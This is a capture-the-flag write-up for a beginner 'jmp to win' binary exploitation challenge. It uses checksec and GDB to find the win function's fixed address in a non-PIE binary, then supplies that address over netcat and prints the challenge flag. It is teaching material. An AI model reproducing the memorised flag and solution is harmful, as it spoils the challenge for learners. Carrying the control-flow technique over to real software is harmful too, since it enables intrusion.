Challenge Overview
This is a very simple jmp to win challenge. The application gives you control over the instruction pointer, so you can jump right to the win
function.
Tools Required
- GDB (GNU Debugger)
- checksec (for checking binary protections)
- nc (or any other application that can connect to the service)
Steps to Solve
Getting Binary Protections
The first step in any binary exploitation challenge is to determine the enabled protections on the binary, these can be found using checksec
:
$ checksec --file=./where_we_jmping
This will give us one of the following outputs depending on which version of checksec we’re using:
For the bash version (please excuse the formatting):
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 36 Symbols No 0 1./where_we_jmping
And for the pwntools version:
[*] '/home/metactf/writeups/where_we_jmping'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
While a full deep dive into protections is out of scope for this writeup, the main thing to note about this binary is that PIE is not enabled, meaning that the binary is not position independent, and the addresses of functions are hardcoded into the binary, and will not change between runs.
Static Analysis
Opening the program in gdb with the command gdb ./where_we_jmping
allows us to begin analyising the binary. If we run the command info functions
within GDB, we’ll get the following output:
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 putchar@plt
0x0000000000401040 puts@plt
0x0000000000401050 fclose@plt
0x0000000000401060 __stack_chk_fail@plt
0x0000000000401070 setbuf@plt
0x0000000000401080 printf@plt
0x0000000000401090 fgetc@plt
0x00000000004010a0 fopen@plt
0x00000000004010b0 __isoc99_scanf@plt
0x00000000004010c0 _start
0x00000000004010f0 _dl_relocate_static_pie
0x00000000004011a6 win
0x0000000000401222 landing_pad
0x0000000000401238 main
0x00000000004012fc _fini
The key notes are that the program appears to have three self defined functions: win
, at memory address 0x00000000004011a6
landing_pad
, at memory address 0x0000000000401222
and main
, at memory address 0x0000000000401238
We also see a bunch of imported functions, but those can be safely ignored for this challenge.
Dynamic Analysis
The next step we’ll take is running the binary, importantly, any time we run a binary that we don’t trust, it should be done in an isolated environment, such as a virtual machine, and not on our host machine. Assuming we’re inside a VM already, we can run the program from within GDB with the GDB command run
.
The program will start with the following output:
(gdb) run
Starting program: /home/shayden/metactf/development/cg1/metactf-challenges/flash/binex_WhereWeJMPing/chal/where_we_jmping
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Enter a memory address to jump to (as a hexadecimal, e.g., 0x401222):
The program appears to be asking for a memory address to jump to, and it includes the address of landing pad as the example. Let’s use the example value and see what happens.
Jumping to address 0x401222!
You have landed at the landing pad function!
[Inferior 1 (process 31498) exited normally]
(gdb)
The program appears to have jumped to the landing pad function, and the program has exited. This is good, as it means we can likely jump wherever in the program we choose. Remembering the functions we got earlier from info function
, let’s try jumping to the win function.
(gdb) run
Starting program: /home/shayden/metactf/development/cg1/metactf-challenges/flash/binex_WhereWeJMPing/chal/where_we_jmping
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Enter a memory address to jump to (as a hexadecimal, e.g., 0x401222): 0x4011a6
Jumping to address 0x4011a6!
Error: Could not find 'flag.txt'
[Inferior 1 (process 31568) exited normally]
(gdb)
This is great, because it appears that the program is attempting to read and presumably display the flag.txt file! Let’s connect to remote and get the flag!
Solution
$ nc <CHALLENGE_HOST> <CHALLENGE_PORT>
Enter a memory address to jump to (as a hexadecimal, e.g., 0x401222): 0x4011a6
Jumping to address 0x4011a6!
Contents of 'flag.txt':
MetaCTF{jmp1ng_t0_th3_g00d_l00t}
Flag: MetaCTF{jmp1ng_t0_th3_g00d_l00t}
And with that, the challenge is solved!